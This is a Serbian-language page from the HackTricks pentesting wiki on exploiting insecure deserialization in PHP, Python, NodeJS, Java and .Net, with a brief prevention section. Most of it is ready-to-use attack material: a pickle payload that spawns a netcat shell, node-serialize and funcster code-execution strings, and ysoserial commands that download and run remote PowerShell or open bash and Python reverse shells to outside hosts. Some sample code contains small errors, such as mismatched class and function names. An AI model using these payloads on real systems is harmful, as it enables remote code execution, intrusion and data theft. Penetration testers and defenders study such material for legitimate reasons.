Deserialization

Support HackTricks

Basic Information

Serijalizacija se razume kao metoda konvertovanja objekta u format koji može biti sačuvan, sa namerom da se objekat ili sačuva ili prenese kao deo komunikacionog procesa. Ova tehnika se obično koristi da se osigura da objekat može biti ponovo kreiran u budućnosti, zadržavajući svoju strukturu i stanje.

Deserijalizacija, s druge strane, je proces koji deluje protiv serijalizacije. Uključuje uzimanje podataka koji su strukturirani u specifičnom formatu i rekonstrukciju nazad u objekat.

Deserijalizacija može biti opasna jer potencijalno omogućava napadačima da manipulišu serijalizovanim podacima kako bi izvršili štetan kod ili izazvali neočekivano ponašanje u aplikaciji tokom procesa rekonstrukcije objekta.

PHP

U PHP-u, specifične magične metode se koriste tokom procesa serijalizacije i deserijalizacije:

  • __sleep: Poziva se kada se objekat serijalizuje. Ova metoda treba da vrati niz imena svih svojstava objekta koja treba serijalizovati. Obično se koristi za obaveštavanje o čekanju podataka ili obavljanje sličnih zadataka čišćenja.

  • __wakeup: Poziva se kada se objekat deserijalizuje. Koristi se za ponovnu uspostavu bilo kakvih veza sa bazom podataka koje su možda izgubljene tokom serijalizacije i obavljanje drugih zadataka ponovne inicijalizacije.

  • __unserialize: Ova metoda se poziva umesto __wakeup (ako postoji) kada se objekat deserijalizuje. Daje više kontrole nad procesom deserijalizacije u poređenju sa __wakeup.

  • __destruct: Ova metoda se poziva kada se objekat sprema da bude uništen ili kada skript završi. Obično se koristi za zadatke čišćenja, kao što su zatvaranje datotečnih rukova ili veza sa bazom podataka.

  • __toString: Ova metoda omogućava da se objekat tretira kao string. Može se koristiti za čitanje datoteke ili druge zadatke zasnovane na pozivima funkcija unutar njega, efikasno pružajući tekstualnu reprezentaciju objekta.

<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

Ako pogledate rezultate, možete videti da se funkcije __wakeup i __destruct pozivaju kada se objekat deserializuje. Imajte na umu da u nekoliko tutorijala možete pronaći da se funkcija __toString poziva kada pokušavate da odštampate neku atribut, ali očigledno to više ne dešava.

Metoda __unserialize(array $data) se poziva umesto __wakeup() ako je implementirana u klasi. Omogućava vam da deserializujete objekat pružajući serijalizovane podatke kao niz. Možete koristiti ovu metodu za deserializaciju svojstava i izvršavanje svih potrebnih zadataka prilikom deserializacije.

class MyClass {
private $property;

public function __unserialize(array $data): void {
$this->property = $data['property'];
// Perform any necessary tasks upon deserialization.
}
}

Možete pročitati objašnjeni PHP primer ovde: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, ovde https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf ili ovde https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP Deserial + Autoload Klase

Možete zloupotrebiti PHP autoload funkcionalnost da učitate proizvoljne php datoteke i još više:

PHP - Deserialization + Autoload Classes

Serijalizacija Referenciranih Vrednosti

Ako iz nekog razloga želite da serijalizujete vrednost kao referencu na drugu serijalizovanu vrednost možete:

<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

PHPGGC (ysoserial for PHP)

PHPGGC može vam pomoći da generišete payload-ove za zloupotrebu PHP deseralizacija. Imajte na umu da u nekoliko slučajeva nećete moći da pronađete način da zloupotrebite deseralizaciju u izvor kodu aplikacije, ali možda ćete moći da zloupotrebite kod eksternih PHP ekstenzija. Dakle, ako možete, proverite phpinfo() servera i pretražujte internet (čak i na gadgets od PHPGGC) za neke moguće gadgete koje biste mogli zloupotrebiti.

phar:// metadata deserialization

Ako ste pronašli LFI koji samo čita datoteku i ne izvršava php kod unutar nje, na primer koristeći funkcije kao što su file_get_contents(), fopen(), file() ili file_exists(), md5_file(), filemtime() ili filesize(). Možete pokušati da zloupotrebite deseralizaciju koja se dešava prilikom čitavanja datoteke koristeći phar protokol. Za više informacija pročitajte sledeći post:

phar:// deserialization

Python

Pickle

Kada se objekat unpickle, funkcija __reduce__ će biti izvršena. Kada se iskoristi, server može vratiti grešku.

import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

Pre nego što proverite tehniku za zaobilaženje, pokušajte da koristite print(base64.b64encode(pickle.dumps(P(),2))) da generišete objekat koji je kompatibilan sa python2 ako koristite python3.

Za više informacija o izlasku iz pickle jails proverite:

Bypass Python sandboxes

Yaml & jsonpickle

Sledeća stranica predstavlja tehniku za zloupotrebu nesigurne deserializacije u yaml python bibliotekama i završava alatom koji se može koristiti za generisanje RCE deserializacijskih payload-a za Pickle, PyYAML, jsonpickle i ruamel.yaml:

Python Yaml Deserialization

Class Pollution (Python Prototype Pollution)

Class Pollution (Python's Prototype Pollution)

NodeJS

JS Magic Functions

JS nema "magic" funkcije kao PHP ili Python koje će biti izvršene samo za kreiranje objekta. Ali ima neke funkcije koje se često koriste čak i bez direktnog pozivanja kao što su toString, valueOf, toJSON. Ako zloupotrebljavate deserializaciju, možete kompromitovati ove funkcije da izvršite drugi kod (potencijalno zloupotrebljavajući prototipske zagađenja) i mogli biste izvršiti proizvoljan kod kada se pozovu.

Drugi "magic" način da pozovete funkciju bez direktnog pozivanja je kompromitovanjem objekta koji se vraća iz async funkcije (promise). Jer, ako transformišete taj vraćeni objekat u drugu promise sa svojstvom pod nazivom "then" tipa funkcija, biće izvršena samo zato što je vraćena iz druge promise. Pratite ovu vezu za više informacija.

// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise(resolve => {
console.log('hello')
resolve()
})
return p
}

async function test_then() {
const p = new Promise(then => {
console.log('hello')
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

__proto__ i prototype zagađenje

Ako želite da saznate više o ovoj tehnici pogledajte sledeći tutorijal:

NodeJS - __proto__ & prototype Pollution

Ova biblioteka omogućava serijalizaciju funkcija. Primer:

var y = {
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
}
var serialize = require('node-serialize');
var payload_serialized = serialize.serialize(y);
console.log("Serialized: \n" + payload_serialized);

Serijalizovani objekat će izgledati ovako:

{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

Možete videti u primeru da kada je funkcija serijalizovana, _$$ND_FUNC$$_ oznaka se dodaje serijalizovanom objektu.

Unutar datoteke node-serialize/lib/serialize.js možete pronaći istu oznaku i kako se kod koristi.

Kao što možete videti u poslednjem delu koda, ako je oznaka pronađena eval se koristi za deserializaciju funkcije, tako da se u suštini korisnički unos koristi unutar eval funkcije.

Međutim, samo serijalizovanje funkcije neće je izvršiti jer bi bilo potrebno da neki deo koda poziva y.rce u našem primeru i to je veoma neprikladno. U svakom slučaju, mogli biste samo modifikovati serijalizovani objekat dodajući neke zagrade kako biste automatski izvršili serijalizovanu funkciju kada se objekat deserializuje. U sledećem delu koda obratite pažnju na poslednju zagradu i kako će unserialize funkcija automatski izvršiti kod:

var serialize = require('node-serialize');
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
serialize.unserialize(test);

Kao što je prethodno navedeno, ova biblioteka će dobiti kod nakon _$$ND_FUNC$$_ i će izvršiti ga koristeći eval. Stoga, da biste automatski izvršili kod, možete izbrisati deo za kreiranje funkcije i poslednju zagradu i samo izvršiti JS oneliner kao u sledećem primeru:

var serialize = require('node-serialize');
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
serialize.unserialize(test);

Možete pronaći ovde dodatne informacije o tome kako iskoristiti ovu ranjivost.

Značajan aspekt funcster je nedostupnost standardnih ugrađenih objekata; oni su van dostupnog opsega. Ova ograničenja sprečavaju izvršavanje koda koji pokušava da pozove metode na ugrađenim objektima, što dovodi do izuzetaka kao što su "ReferenceError: console is not defined" kada se koriste komande poput console.log() ili require(something).

Uprkos ovom ograničenju, obnova potpunog pristupa globalnom kontekstu, uključujući sve standardne ugrađene objekte, moguća je kroz specifičan pristup. Korišćenjem globalnog konteksta direktno, može se zaobići ovo ograničenje. Na primer, pristup se može ponovo uspostaviti koristeći sledeći isječak:

funcster = require("funcster");
//Serialization
var test = funcster.serialize(function() { return "Hello world!" })
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = { __js_function: 'this.constructor.constructor("console.log(1111)")()' }
funcster.deepDeserialize(desertest2)
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
funcster.deepDeserialize(desertest3)

Za više informacija pročitajte ovaj izvor.

Paket serialize-javascript je dizajniran isključivo za svrhe serijalizacije, bez ugrađenih mogućnosti deserializacije. Korisnici su odgovorni za implementaciju svoje metode za deserializaciju. Direktna upotreba eval se sugeriše u zvaničnom primeru za deserializaciju serijalizovanih podataka:

function deserialize(serializedJavascript){
return eval('(' + serializedJavascript + ')');
}

Ako se ova funkcija koristi za deserializaciju objekata, možete je lako iskoristiti:

var serialize = require('serialize-javascript');
//Serialization
var test = serialize(function() { return "Hello world!" });
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

Za više informacija pročitajte ovaj izvor.

Cryo biblioteka

Na sledećim stranicama možete pronaći informacije o tome kako zloupotrebiti ovu biblioteku za izvršavanje proizvoljnih komandi:

Java - HTTP

U Javi, deserializacijski povratni pozivi se izvršavaju tokom procesa deserializacije. Ova izvršenja mogu biti iskorišćena od strane napadača koji kreiraju zlonamerne terete koje aktiviraju ove povratne pozive, što može dovesti do potencijalnog izvršenja štetnih radnji.

Otisci

Bela kutija

Da biste identifikovali potencijalne ranjivosti serijalizacije u kodu, tražite:

  • Klase koje implementiraju Serializable interfejs.

  • Korišćenje java.io.ObjectInputStream, readObject, readUnshare funkcija.

Obratite posebnu pažnju na:

  • XMLDecoder korišćen sa parametrima koje definišu spoljski korisnici.

  • XStream's fromXML metoda, posebno ako je verzija XStream manja ili jednaka 1.46, jer je podložna problemima sa serijalizacijom.

  • ObjectInputStream u kombinaciji sa readObject metodom.

  • Implementaciju metoda kao što su readObject, readObjectNodData, readResolve, ili readExternal.

  • ObjectInputStream.readUnshared.

  • Opštu upotrebu Serializable.

Crna kutija

Za testiranje crne kutije, tražite specifične potpise ili "Magic Bytes" koji označavaju java serijalizovane objekte (proizlazeći iz ObjectInputStream):

  • Hexadecimalni obrazac: AC ED 00 05.

  • Base64 obrazac: rO0.

  • HTTP odgovarajući zaglavlja sa Content-type postavljenim na application/x-java-serialized-object.

  • Hexadecimalni obrazac koji označava prethodnu kompresiju: 1F 8B 08 00.

  • Base64 obrazac koji označava prethodnu kompresiju: H4sIA.

  • Web datoteke sa ekstenzijom .faces i parametrom faces.ViewState. Otkriće ovih obrazaca u web aplikaciji treba da podstakne ispitivanje kao što je detaljno opisano u postu o Java JSF ViewState Deserialization.

javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

Proverite da li je ranjiv

Ako želite da naučite kako funkcioniše Java Deserialized exploit trebali biste pogledati Osnovna Java Deserializacija, Java DNS Deserializacija, i CommonsCollection1 Payload.

White Box Test

Možete proveriti da li je instalirana neka aplikacija sa poznatim ranjivostima.

find . -iname "*commons*collection*"
grep -R InvokeTransformer .

Možete pokušati da proverite sve biblioteke za koje je poznato da su ranjive i za koje Ysoserial može da pruži eksploataciju. Ili možete proveriti biblioteke navedene na Java-Deserialization-Cheat-Sheet. Takođe možete koristiti gadgetinspector da tražite moguće lance gadgeta koji se mogu iskoristiti. Kada pokrećete gadgetinspector (nakon što ga izgradite), ne obraćajte pažnju na mnoštvo upozorenja/grešaka kroz koje prolazi i pustite ga da završi. Zapišaće sve nalaze pod gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Molimo vas, primetite da gadgetinspector neće kreirati eksploataciju i može ukazivati na lažne pozitivne rezultate.

Black Box Test

Korišćenjem Burp ekstenzije gadgetprobe možete identifikovati koje biblioteke su dostupne (pa čak i verzije). Sa ovom informacijom bi moglo biti lakše odabrati payload za eksploataciju ranjivosti. Pročitajte ovo da biste saznali više o GadgetProbe. GadgetProbe je fokusiran na ObjectInputStream deserializacije.

Korišćenjem Burp ekstenzije Java Deserialization Scanner možete identifikovati ranjive biblioteke koje se mogu eksploatisati sa ysoserial i iskoristiti ih. Pročitajte ovo da biste saznali više o Java Deserialization Scanner. Java Deserialization Scanner je fokusiran na ObjectInputStream deserializacije.

Takođe možete koristiti Freddy da otkrijete deserializacione ranjivosti u Burp. Ovaj dodatak će otkriti ne samo ObjectInputStream povezane ranjivosti, već takođe ranjivosti iz Json i Yml deserializacionih biblioteka. U aktivnom režimu, pokušaće da ih potvrdi koristeći sleep ili DNS payloads. Više informacija o Freddyu možete pronaći ovde.

Serialization Test

Nije sve u proveri da li server koristi neku ranjivu biblioteku. Ponekad biste mogli biti u mogućnosti da promenite podatke unutar serijalizovanog objekta i zaobiđete neke provere (možda vam dodeli administratorske privilegije unutar web aplikacije). Ako pronađete java serijalizovani objekat koji se šalje u web aplikaciju, možete koristiti SerializationDumper da odštampate u čitljivijem formatu serijalizovani objekat koji se šalje. Znajući koje podatke šaljete, biće lakše izmeniti ih i zaobići neke provere.

Exploit

ysoserial

Glavni alat za eksploataciju Java deserializacija je ysoserial (preuzmite ovde). Takođe možete razmotriti korišćenje ysoseral-modified koji će vam omogućiti da koristite složene komande (na primer, sa cevima). Napomena: ovaj alat je fokusiran na eksploataciju ObjectInputStream. Preporučujem da počnete sa "URLDNS" payloadom pre RCE payloada da testirate da li je injekcija moguća. U svakom slučaju, imajte na umu da možda "URLDNS" payload ne radi, ali drugi RCE payload može.

# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

Kada kreirate payload za java.lang.Runtime.exec() ne možete koristiti specijalne karaktere kao što su ">" ili "|" za preusmeravanje izlaza izvršenja, "$()" za izvršavanje komandi ili čak proslediti argumente komandi odvojene razmacima (možete uraditi echo -n "hello world" ali ne možete uraditi python2 -c 'print "Hello world"'). Da biste ispravno kodirali payload, možete koristiti ovu veb stranicu.

Slobodno koristite sledeći skript za kreiranje svi mogućih payload-a za izvršenje koda za Windows i Linux, a zatim ih testirajte na ranjivoj veb stranici:

import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

serialkillerbypassgadgets

Možete koristiti https://github.com/pwntester/SerialKillerBypassGadgetCollection zajedno sa ysoserial da kreirate više eksploita. Više informacija o ovom alatu možete pronaći u prezentacijama sa predavanja gde je alat predstavljen: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec može se koristiti za generisanje payload-a za eksploataciju različitih Json i Yml biblioteka za serijalizaciju u Javi. Da bih kompajlirao projekat, morao sam da dodam ove zavisnosti u pom.xml:

<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

Instalirajte maven, i kompajlirajte projekat:

sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

Pročitajte više o ovoj Java JSON biblioteci: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

Labs

Zašto

Java koristi mnogo serijalizaciju za različite svrhe kao što su:

  • HTTP zahtevi: Serijalizacija se široko koristi u upravljanju parametrima, ViewState-om, kolačićima itd.

  • RMI (Remote Method Invocation): Java RMI protokol, koji se potpuno oslanja na serijalizaciju, je kamen temeljac za daljinsku komunikaciju u Java aplikacijama.

  • RMI preko HTTP-a: Ova metoda se obično koristi od strane Java-baziranih debelih klijentskih web aplikacija, koristeći serijalizaciju za sve komunikacije objekata.

  • JMX (Java Management Extensions): JMX koristi serijalizaciju za prenos objekata preko mreže.

  • Prilagođeni protokoli: U Javi, standardna praksa uključuje prenos sirovih Java objekata, što će biti prikazano u nadolazećim primerima eksploatacije.

Prevencija

Transijentni objekti

Klasa koja implementira Serializable može implementirati kao transient bilo koji objekat unutar klase koji ne bi trebao biti serijalizovan. Na primer:

public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

Izbegavajte serijalizaciju klase koja treba da implementira Serializable

U scenarijima gde određeni objekti moraju da implementiraju Serializable interfejs zbog hijerarhije klasa, postoji rizik od nenamerne deserializacije. Da biste to sprečili, osigurajte da ovi objekti nisu deserializabilni definišući final readObject() metodu koja dosledno baca izuzetak, kao što je prikazano u nastavku:

private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

Povećanje bezbednosti deserializacije u Javi

Prilagođavanje java.io.ObjectInputStream je praktičan pristup za osiguranje procesa deserializacije. Ova metoda je pogodna kada:

  • Kod deserializacije je pod vašom kontrolom.

  • Klase koje se očekuju za deserializaciju su poznate.

Override-ujte resolveClass() metodu da ograničite deserializaciju samo na dozvoljene klase. Ovo sprečava deserializaciju bilo koje klase osim onih koje su izričito dozvoljene, kao u sledećem primeru koji ograničava deserializaciju samo na klasu Bicycle:

// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

Korišćenje Java agenta za poboljšanje bezbednosti nudi rešenje kada modifikacija koda nije moguća. Ova metoda se primenjuje uglavnom za stavljanje na crnu listu štetnih klasa, koristeći JVM parametar:

-javaagent:name-of-agent.jar

Ovo pruža način za dinamičko obezbeđivanje deserializacije, idealno za okruženja gde su trenutne promene koda nepraktične.

Pogledajte primer u rO0 by Contrast Security

Implementacija filtera za serijalizaciju: Java 9 je uvela filtere za serijalizaciju putem ObjectInputFilter interfejsa, pružajući moćan mehanizam za određivanje kriterijuma koje serijalizovani objekti moraju ispuniti pre nego što budu deseralizovani. Ovi filteri se mogu primeniti globalno ili po toku, nudeći granularnu kontrolu nad procesom deserializacije.

Da biste koristili filtere za serijalizaciju, možete postaviti globalni filter koji se primenjuje na sve operacije deserializacije ili ga dinamički konfigurisati za specifične tokove. Na primer:

ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);

Korišćenje Eksternih Biblioteka za Povećanu Bezbednost: Biblioteke kao što su NotSoSerial, jdeserialize i Kryo nude napredne funkcije za kontrolu i praćenje Java deserializacije. Ove biblioteke mogu pružiti dodatne slojeve bezbednosti, kao što su stavljanje na belu ili crnu listu klasa, analiziranje serijalizovanih objekata pre deserializacije i implementacija prilagođenih strategija serijalizacije.

  • NotSoSerial presreće procese deserializacije kako bi sprečio izvršavanje nepouzdanog koda.

  • jdeserialize omogućava analizu serijalizovanih Java objekata bez njihove deserializacije, pomažući u identifikaciji potencijalno zlonamernog sadržaja.

  • Kryo je alternativni okvir za serijalizaciju koji naglašava brzinu i efikasnost, nudeći konfigurisane strategije serijalizacije koje mogu poboljšati bezbednost.

Reference

JNDI Injekcija & log4Shell

Pronađite šta je JNDI Injekcija, kako je zloupotrebiti putem RMI, CORBA & LDAP i kako iskoristiti log4shell (i primer ove ranjivosti) na sledećoj stranici:

JNDI - Java Naming and Directory Interface & Log4Shell

JMS - Java Poruka Servis

Java Poruka Servis (JMS) API je Java middleware API orijentisan na poruke za slanje poruka između dva ili više klijenata. To je implementacija za rešavanje problema proizvođač–potrošač. JMS je deo Java Platforme, Enterprise Edition (Java EE), i definisan je specifikacijom razvijenom u Sun Microsystems, ali koju je od tada vodio Java Community Process. To je standard za poruke koji omogućava komponentama aplikacija zasnovanim na Java EE da kreiraju, šalju, primaju i čitaju poruke. Omogućava komunikaciju između različitih komponenti distribuirane aplikacije da bude labavo povezana, pouzdana i asinkrona. (Iz Wikipedia).

Proizvodi

Postoji nekoliko proizvoda koji koriste ovaj middleware za slanje poruka:

Eksploatacija

Dakle, u suštini postoji puno usluga koje koriste JMS na opasan način. Stoga, ako imate dovoljno privilegija da šaljete poruke ovim uslugama (obično će vam biti potrebne važeće akreditive) mogli biste biti u mogućnosti da pošaljete zlonamerne objekte serijalizovane koji će biti deserializovani od strane potrošača/pretplatnika. To znači da će u ovoj eksploataciji svi klijenti koji će koristiti tu poruku biti zaraženi.

Trebalo bi da zapamtite da čak i ako je usluga ranjiva (jer nesigurno deserializuje korisnički unos) i dalje morate pronaći važeće gadgete da iskoristite ranjivost.

Alat JMET je kreiran da poveže i napadne ove usluge šaljući nekoliko zlonamernih objekata serijalizovanih koristeći poznate gadgete. Ove eksploatacije će raditi ako je usluga još uvek ranjiva i ako je neki od korišćenih gadgeta unutar ranjive aplikacije.

Reference

.Net

U kontekstu .Net, eksploatacije deserializacije funkcionišu na način sličan onima u Javi, gde se gadgeti koriste za izvršavanje specifičnog koda tokom deserializacije objekta.

Otisak

WhiteBox

Izvorni kod treba pregledati zbog pojava:

  1. TypeNameHandling

  2. JavaScriptTypeResolver

Fokus treba biti na serijalizatorima koji omogućavaju da se tip odredi pomoću promenljive pod kontrolom korisnika.

BlackBox

Pretraga treba da bude usmerena na Base64 kodiranu string AAEAAAD///// ili bilo koji sličan obrazac koji bi mogao proći kroz deserializaciju na serverskoj strani, dajući kontrolu nad tipom koji će biti deserializovan. Ovo može uključivati, ali nije ograničeno na, JSON ili XML strukture koje sadrže TypeObject ili $type.

ysoserial.net

U ovom slučaju možete koristiti alat ysoserial.net kako biste napravili eksploatacije deserializacije. Kada preuzmete git repozitorijum, trebali biste kompilirati alat koristeći Visual Studio, na primer.

Ako želite da saznate kako ysoserial.net pravi svoju eksploataciju možete proveriti ovu stranicu gde je objašnjen ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter.

Glavne opcije ysoserial.net su: --gadget, --formatter, --output i --plugin.

  • --gadget se koristi za označavanje gadgeta koji će se zloupotrebiti (označava klasu/funkciju koja će se zloupotrebiti tokom deserializacije za izvršavanje komandi).

  • --formatter, koristi se za označavanje metode za serijalizaciju eksploatacije (morate znati koju biblioteku koristi back-end za deserializaciju payload-a i koristiti istu za serijalizaciju).

